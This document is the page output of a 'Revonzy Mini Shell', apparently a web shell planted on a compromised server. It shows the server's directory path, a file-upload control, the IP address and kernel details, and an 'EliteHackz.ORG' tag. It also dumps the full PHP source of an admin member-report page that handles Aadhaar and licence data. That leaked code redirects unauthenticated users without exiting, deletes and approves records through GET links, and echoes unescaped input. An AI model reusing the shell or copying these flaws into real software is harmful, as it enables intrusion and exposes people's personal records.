Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/vahtuksanghatana.com/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/vahtuksanghatana.com/admin/user_report.php

<?php 
/*
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);*/

ob_start();
	require_once("lib/function.php");
	$db = new login_function();
	$from_date = date("Y-m-d");
	$to_date = date("Y-m-d");
	$flag 			= 0;
	$success_msg 	= 0;
	$name 		 = ""; 
	$mobile_no	 = ""; 
	$state		 = ""; 
	$f_status		 = ""; 
	$gadi_no	 = ""; 
	$licence_no	 = ""; 
	$contact_no_error="";
	
	
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}

	
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	 if(isset($_GET['delete_id']))
	{
		$delete_id	=	$_GET['delete_id'];
		 $db->delete_user_record($delete_id);
		 $success_msg	=	1;
	}
	
	if(isset($_GET['approve_id']))
	{
		$approve_id	=	$_GET['approve_id'];
		$status = "approved";
		 $db->update_card_status_to_approved($approve_id,$status);
	?>
	<script>
	    alert("Record approved successfully");
	</script>
	<?php
	}
	
	if(isset($_GET['pending_id']))
	{
		$pending_id	=	$_GET['pending_id'];
		$status = "pending";
		 $db->update_card_status_to_approved($pending_id,$status);
	?>
	<script>
	    alert("Record made pending successfully");
	</script>
	<?php	 
	}
	if(isset($_POST['search_report']))
	{
		$from_date		= $_POST['from_date'];
		$to_date		= $_POST['to_date'];
		$name	 		= $_POST['name'];
		$mobile_no		= $_POST['mobile_no'];
		$state			= $_POST['state'];
		$f_status			= $_POST['f_status'];
		$gadi_no		= $_POST['gadi_no'];
		$licence_no		= $_POST['licence_no'];
		
		$_SESSION['from_date']    = $from_date;
		$_SESSION['to_date']   	  = $to_date;
		$_SESSION['name']    	  = $name;
		$_SESSION['mobile_no']    = $mobile_no;
		$_SESSION['state']		  = $state;
		$_SESSION['f_status'] 	  = $f_status;
		$_SESSION['gadi_no']	  = $gadi_no;
		$_SESSION['licence_no']	  = $licence_no;
		
			
	}
	else if(isset($_SESSION['from_date']))
	{
		$from_date		= $_SESSION['from_date'];
		$to_date		= $_SESSION['to_date'];
		$name	 		= $_SESSION['name'];
		$mobile_no		= $_SESSION['mobile_no'];
		$state			= $_SESSION['state'];
		$f_status			= $_SESSION['f_status'];
		$gadi_no		= $_SESSION['gadi_no'];
		$licence_no		= $_SESSION['licence_no'];
		
		
		if(isset($_POST['print_report']))
		{
			header("Location:excel-print-public-member-report.php?print");
		}
		if(isset($_POST['excel_report']))
		{
			header("Location:excel-print-public-member-report.php?ecxel");
		}
		
	}

if (isset($_GET['renew_id'])) {
    $renew_id = $_GET['renew_id'];

    $details = $db->getRenewalDetails($renew_id);

    if ($details) {
        $date = $details['date'];
        $renewal_date = $details['renewal_date'];

        if ($renewal_date == "") 
        {
            $new_ren_date = date('Y-m-d', strtotime('+1 year', strtotime($date)));
            $db->update_renew_date($renew_id, $new_ren_date);

            echo "<script>alert('Renewal date is Updated. Updated to: $new_ren_date');</script>";
        } 
        else 
        {
            $new_ren_date = date('Y-m-d', strtotime('+1 year', strtotime($renewal_date)));
            $db->update_renew_date($renew_id, $new_ren_date);
            echo "<script>alert('Renewal date was updated to: $new_ren_date');</script>";
        }
    } 
    else 
    {
        echo "<script>alert('No details found for the given ID.');</script>";
    }
}
	
?>



<!DOCTYPE html>
<html lang="en">

<head>
      <meta charset="UTF-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <meta name="viewport" content="width=device-width initial-scale=1.0">
      <title>Public Members Report</title>
      <!-- GLOBAL MAINLY STYLES-->
      <link href="css/bootstrap.min.css" rel="stylesheet" />
      <link href="css/font-awesome.min.css" rel="stylesheet" />
      <link href="css/line-awesome.min.css" rel="stylesheet" />
      <link href="css/themify-icons.css" rel="stylesheet" />
      <link href="css/animate.min.css" rel="stylesheet" />
      <link href="css/toastr.min.css" rel="stylesheet" />
      <link href="css/bootstrap-select.min.css" rel="stylesheet" />
      <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">

      <!-- PLUGINS STYLES-->
      <!-- THEME STYLES-->
      <link href="css/main.min.css" rel="stylesheet" />
      <link href="datatable/datatables.min.css" rel="stylesheet" />
      <!-- PAGE LEVEL STYLES-->
      <style>
      .col-md-12 {
            width: 100%;
            margin: auto;
            margin-top: 20px;
      }

      table,
      th {
            text-align: center;
            text-transform: uppercase;
      }

      table,
      td {
            text-align: left;
            text-transform: uppercase;
      }

      @media only screen and (max-width: 600px) {
            .col-md-12 {
                  width: 100%;
            }

            .alert {
                  width: 100%;
            }

            .side-row {
                  width: 49%;
                  display: inline-table;
            }
      }

      .content-wrapper {
            position: relative;
            background-color: #f2f3fa;
            margin-left: 230px;
            padding: 0 15px 60px 15px;
            -webkit-transition: margin .2s ease-in-out;
            -o-transition: margin .2s ease-in-out;
            transition: margin .2s ease-in-out;
            min-height: 1400px;
      }

      .txt {
            text-align: left;
            color: #232B99;
            font-size: 12px;
            margin-right: 10px;
            font-weight: bold;
            height: 40px;
      }

      </style>

      <link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
      <script src="js/wow.min.js"></script>
</head>

<body class="fixed-navbar">

      <div class="page-wrapper">

            <?php include('header.php'); ?>
            <?php include('side-bar.php'); ?>

            <div class="content-wrapper">
                  <div class="page-content fade-in-up">

                        <?php 
	if($success_msg == 1)
	{
	?>
                        <script type="text/javascript">
                        alert("Record Deleted Successfully");
                        window.location = "user_report.php";
                        </script>
                        <?php 
	} 
	if($success_msg == 2)
	{
	?>
                        <script type="text/javascript">
                        alert("Registration Approved Successfully.");
                        </script>
                        <?php 
	} 
?>

<div class="ibox" style="border-radius:5px; padding:7px;">

	  <div class="ibox-body" style="padding:7px; padding-top:0px;">

			<div class="ibox-head">
				  <div class="ibox-title"><i class="fas fa-user-tie" style="margin-right:10px;"></i>Public Members Report</div>
			   <a href="registration_new.php" class="btn btn-primary btn-air" target="_blank"><i
							  class="fas fa-plus">&nbsp;&nbsp;</i>New Member</a>
				<a href="excel-report.php" class="btn btn-primary btn-air"><i
							  class="fas fa-plus">&nbsp;&nbsp;</i>Excel Export</a>
			</div>

			<br />
	<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
	<div class="ibox-body">
			<div class="row">
				<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
					<label class="form-group mb-4 set-row label_marg"><b>From Date</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-left"><i class="fas "></i></span>
						<input type="date" name="from_date" class="form-control form-control-air" value="<?php echo $from_date; ?>" />
					</div>
				</div>
				
				<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
					<label class="form-group mb-4 set-row label_marg"><b>To Date</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-time"><i class="fas "></i></span>
						<input type="date" name="to_date" class="form-control form-control-air" value="<?php echo $to_date; ?>" />
					</div>
				</div>
				<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
					<label class="form-group mb-4 set-row label_marg"><b>Name</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-time"><i class="fas "></i></span>
						<input type="text" name="name" class="form-control form-control-air"  placeholder="Name" value="<?php  echo $name; ?>"/>
					</div>
				</div>
				<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
					<label class="form-group mb-4 set-row label_marg"><b>Mobile No.</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-time"><i class="fas "></i></span>
						<input type="text" name="mobile_no" class="form-control form-control-air"  placeholder="Mobile No." value="<?php  echo $mobile_no; ?>"/>
					</div>
				</div>
				
		<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
		  <label class="form-group mb-4 set-row label_marg"><b>Select
						  State
					</b></label>
			  <div class="input-group-icon input-group-icon-left  set-row">
					<span class="input-icon input-icon-left"><i
								class="fas fa-building"></i></span>
					<select name="state" class="form-control form-control-air">
						  <option value="Select">Select State</option>
						  <option value="MAHARASHTRA"<?php if($state == 'MAHARASHTRA'){ ?>selected <?php } ?>>MAHARASHTRA</option>
						  <option value="KARNATAKA"<?php if($state == 'KARNATAKA'){ ?>selected <?php } ?>>KARNATAKA</option>
					</select>

			  </div>
		</div>
		<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
		  <label class="form-group mb-4 set-row label_marg"><b>Select
					  Status
				</b></label>
		  <div class="input-group-icon input-group-icon-left  set-row">
			<span class="input-icon input-icon-left"><i
						class="fas fa-building"></i></span>
			<select name="f_status"
				  class="form-control form-control-air">
				   <option value="Select">Select Status</option>
				   <option value="approved"<?php if($f_status == 'approved'){ ?>selected <?php } ?>>Approved</option>
				   <option value="pending"<?php if($f_status == 'pending'){ ?>selected <?php } ?>>Pending</option>
			</select>

		  </div>
		</div>
		<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
			<label class="form-group mb-4 set-row label_marg"><b>Gadi No.</b></label>
			<div class="input-group-icon input-group-icon-left  set-row">
				<span class="input-icon input-icon-time"><i class="fas "></i></span>
				<input type="text" name="gadi_no" class="form-control form-control-air"  placeholder="Gadi No." />
			</div>
		</div>
		<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
			<label class="form-group mb-4 set-row label_marg"><b>Licence No.</b></label>
			<div class="input-group-icon input-group-icon-left  set-row">
				<span class="input-icon input-icon-time"><i class="fas "></i></span>
				<input type="text" name="licence_no" class="form-control form-control-air"  placeholder="Licence No." />
			</div>
		</div>
		
				
		</div>
		<div class="row">
			<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
			<div class="col-sm-12 form-group mb-12" style="margin:auto;">
				<button class="btn btn-pink btn-air" type="submit" name="search_report" style="width:100%;">Search</button>
			</div>
		</div>
		<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
				<div class="col-sm-12 form-group mb-12" style="margin:auto;">
					<button class="btn btn-pink btn-air" type="submit" name="print_report" style="width:100%;">Print</button>
				</div>
			</div>
			<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-3">
				<div class="col-sm-12 form-group mb-12" style="margin:auto;">
					<button class="btn btn-pink btn-air" type="submit" name="excel_report" style="width:100%;">Excel</button>
				</div>
			</div>
			
		</div>
		</div>
	</form>
			<!--<div class="flexbox mb-4">
				  <div class="input-group-icon input-group-icon-left mr-3">
						<span class="input-icon input-icon-right font-16"><i
									class="fas fa-search"></i></span>
						<input class="form-control form-control-rounded form-control-solid"
							  id="key-search" type="text" placeholder="Search ...">
				  </div>
			</div>-->

<div class="table-responsive row">
  <table class="table table-bordered table-hover" id="example"
		style="overflow-x:auto;overflow-y:auto;" cellpadding=0 cellspacing=0>
		<thead class="thead-default thead-lg">
			  <tr>
					<th>Sr No</th>
					<th>Full Name</th>
					<th>Status/ <br /> Mobile Number</th>
					<th>Address <hr /> DOB</th>
					<th>Aadhar No</th>
					<th>Licence No</th>
					<th>Gadi No</th>
					<th>Photo</th>
					<th>Date</th>
					<th>Time</th>
					<th>Action</th>
					<th>Action</th>
			  </tr>
		</thead>
		<tbody>
		<?php
			$std_data = $db->get_all_registration_record($from_date,$to_date,$name,$mobile_no,$state,$f_status,$gadi_no,$licence_no);
			if(!empty($std_data))
			{
				$counter =0;
				foreach($std_data as $record)
				{
					$id 			=  $std_data[$counter][0];
					$full_name		=	$std_data[$counter][1];
					$mo_no	        =	$std_data[$counter][2];
					$address		=	$std_data[$counter][3];
					$aadhar_no			=	$std_data[$counter][4];
					$licence_no	    =	$std_data[$counter][5];
					$gadi_no           =   $std_data[$counter][6];
					$photo           =   $std_data[$counter][7];
					$date           =   $std_data[$counter][8];
					$time           =    $std_data[$counter][9];
					$dob           =    $std_data[$counter][10];
					$designation   =    $std_data[$counter][11];
					$status         =    $std_data[$counter][12];
					$ref_id     =    $std_data[$counter][13];
					$res_state     =    $std_data[$counter][14];
					
					$res_ren_date     =    $std_data[$counter][15];
		?>
		  <tr class="odd gradeX">
				<td><?php echo $counter+1; ?></td>
				<td><?php echo $full_name; ?> <hr /><?php echo $designation; ?>
					<br />
					<strong>(Reference Id - <?php echo $ref_id; ?>)</strong>
					<br />
					<a href="view-id.php?id=<?php echo $id; ?>" target="_blank" style="color:green; font-weight:bold;">View ID</a>
				</td>
				<td>
				    <strong style="color:purple; font-weight:bold;">Status : <?php echo $status; ?></strong>
				    <?php
				        if($status=="pending" OR $status=="")
				        {
				    ?>
				    <a href="user_report.php?approve_id=<?php echo $id; ?>" style="color:green; font-weight:bold;">Make Approve</a>
				    <?php
				        }
				        else if($status=="approved")
				        {
				    ?>
				    <a href="user_report.php?pending_id=<?php echo $id; ?>" style="color:red; font-weight:bold;">Make Pending</a>
				    <?php        
				        }
				    ?>
				    <br /><br />
				    <?php echo $mo_no; ?></td>
				<td><?php echo $address." - ".$res_state; ?><hr /><?php echo $dob; ?></td>
				<td><?php echo $aadhar_no; ?></td>
				<td><?php echo $licence_no; ?></td>
				<td><?php echo $gadi_no; ?></td>
				<td>
				  <?php if($photo != "")
 {
 ?>
	   <!--<a href="id_photo_images/<?php echo $photo; ?>" target="_blank"><img src="id_photo_images/<?php echo $photo; ?>" height="50px" width="50px"></a>-->
	   <a href="id_photo_images/<?php echo $photo; ?>" target="_blank">View Photo</a>
			   <?php
 }else
 {
 ?>
			  <img src="id_photo_images/no-image.png" height="50px" 
					width="50px"></a>
			   <?php
 }
?>
				<!--<?php echo $photo; ?>-->
				
				</td>
			    <td><?php echo $date; ?>
					<br><br>	
					<span style="color:green">Renewal Date : <?php echo $res_ren_date; ?></span>
					<br><br>
					<a href="user_report.php?renew_id=<?php echo $id ?>" 
					   style="width:100%; color: orange;" 
					   onclick="return confirm('Are you sure you want to renew the card?');">
					   Renew Card
					</a>
				</td>
				<td><?php echo $time; ?></td>
				

		<!-- <td>
			   <?php if($logo != "")
 {
 ?>
			   <a href="logo/<?php echo $logo; ?>" 
					target="_blank"><img 
						  src="logo/<?php echo $logo; ?>" 
						  height="50px" width="50px"></a>
			   <?php
 }else
 {
 ?>
			  <img src="logo/no-image.png" height="50px" 
					width="50px"></a>
			   <?php
 }
?>
		</td> -->
		<td class="center"><a
					href="update-reg.php?update_id=<?php echo $id;?>"><i
						  class="far fa-edit"
						  style="color:blue;margin-left:20px;"></i></a>
		</td>
		<td class="center"><a
					href="user_report.php?delete_id=<?php echo $id;?>"
					onclick="return confirm('Are you sure?');"><i
						  class="fas fa-trash-alt"
						  style="color:red; margin-left:20px;"></i></a>
		</td>
  </tr>
                                                      <?php
					$counter++;
				}
			}else
			{
			?>
                                                      <td colspan="7">No Data Found..</td>
                                                      <?php
			}
			
			if(isset($_GET['excel_export']))
			{
			    
			    /*
$file_ending = "xls";
//header info for browser
header("Content-Type: application/xls");    
header("Content-Disposition: attachment; filename=$filename.xls");  
header("Pragma: no-cache"); 
header("Expires: 0");


//define separator (defines columns in excel & tabs in word)
$sep = "\t"; //tabbed character
//start of printing column names as names of MySQL fields
for ($i = 0; $i < mysql_field_name($result); $i++) {
echo mysql_field_name($result,$i) . "\t";
}
print("\n");    
//end of printing column names  
//start while loop to get data
    foreach($std_data as $row) 
    {
        $schema_insert = "";
        for($j=0; $j<mysql_field_name($result);$j++)
        {
            if(!isset($row[$j]))
                $schema_insert .= "NULL".$sep;
            elseif ($row[$j] != "")
                $schema_insert .= "$row[$j]".$sep;
            else
                $schema_insert .= "".$sep;
        }
        $schema_insert = str_replace($sep."$", "", $schema_insert);
        $schema_insert = preg_replace("/\r\n|\n\r|\n|\r/", " ", $schema_insert);
        $schema_insert .= "\t";
        print(trim($schema_insert));
        print "\n";
    }   		*/
			    
			    
			    $excelData = "";
			    $filename = "users_report_".date('Y-m-d') . ".xls";			
            	header("Content-Type: application/vnd.ms-excel");
            	header("Content-Disposition: attachment; filename=\"$filename\"");	
            	//header("Content-Type: text/csv");
                //header("Content-Disposition: attachment; filename=$filename.csv");
            	$show_coloumn = false;
            	if(!empty($std_data)) {
            	  foreach($std_data as $record) {
            		if(!$show_coloumn) {
            		  // display field/column names in first row
            		  echo $excelData = implode("\t", array_keys($record)) . "\n";
            		  $show_coloumn = true;
            		}
            		echo $excelData = implode("\t", array_values($record)) . "\n";
            	  }
            	}
            	

            	exit;  
			}
			?>
                                                </tbody>
                                          </table>
                                    </div>
                              </div>
                        </div>
                  </div>
            </div>
      </div>
      </div>
      </div>

      </div>
      </div>

      <!-- END SEARCH PANEL-->
      <!-- BEGIN THEME CONFIG PANEL-->

      <!-- END THEME CONFIG PANEL-->
      <!-- BEGIN PAGA BACKDROPS-->
      <div class="sidenav-backdrop backdrop"></div>
      <div class="preloader-backdrop">
            <div class="page-preloader">Loading</div>
      </div>
      <!-- END PAGA BACKDROPS-->
      <!-- New question dialog-->


      <!-- End New question dialog-->
      <!-- QUICK SIDEBAR-->

      <script src="js/jquery.min.js"></script>
      <link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
      <link rel="stylesheet" href="/resources/demos/style.css">
      <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
      <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>

      <script>
      $(function() {
            $("#from_date").datepicker({
                  dateFormat: 'dd-mm-yy'
            });
            $("#to_date").datepicker({
                  dateFormat: 'dd-mm-yy'
            });

      });
      </script>
      <script src="js/popper.min.js"></script>
      <script src="js/bootstrap.min.js"></script>
      <script src="js/metisMenu.min.js"></script>
      <script src="js/jquery.slimscroll.min.js"></script>
      <script src="js/idle-timer.min.js"></script>
      <script src="js/toastr.min.js"></script>
      <script src="js/jquery.validate.min.js"></script>
      <script src="js/bootstrap-select.min.js"></script>
      <!-- PAGE LEVEL PLUGINS-->
      <!-- CORE SCRIPTS-->
      <script src="datatable/datatables.min.js"></script>
      <script src="js/app.min.js"></script>
      <script>
      $(function() {
            $('#example').DataTable({
                  pageLength: 50,
                  fixedHeader: true,
                  responsive: true,
                  "sDom": 'rtip',
                  columnDefs: [{
                        targets: 'no-sort',
                        orderable: false
                  }]
            });

            var table = $('#example').DataTable();
            $('#key-search').on('keyup', function() {
                  table.search(this.value).draw();
            });

      });
      </script>



      <!-- PAGE LEVEL SCRIPTS-->
</body>

</html>
<?php
ob_flush();
?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4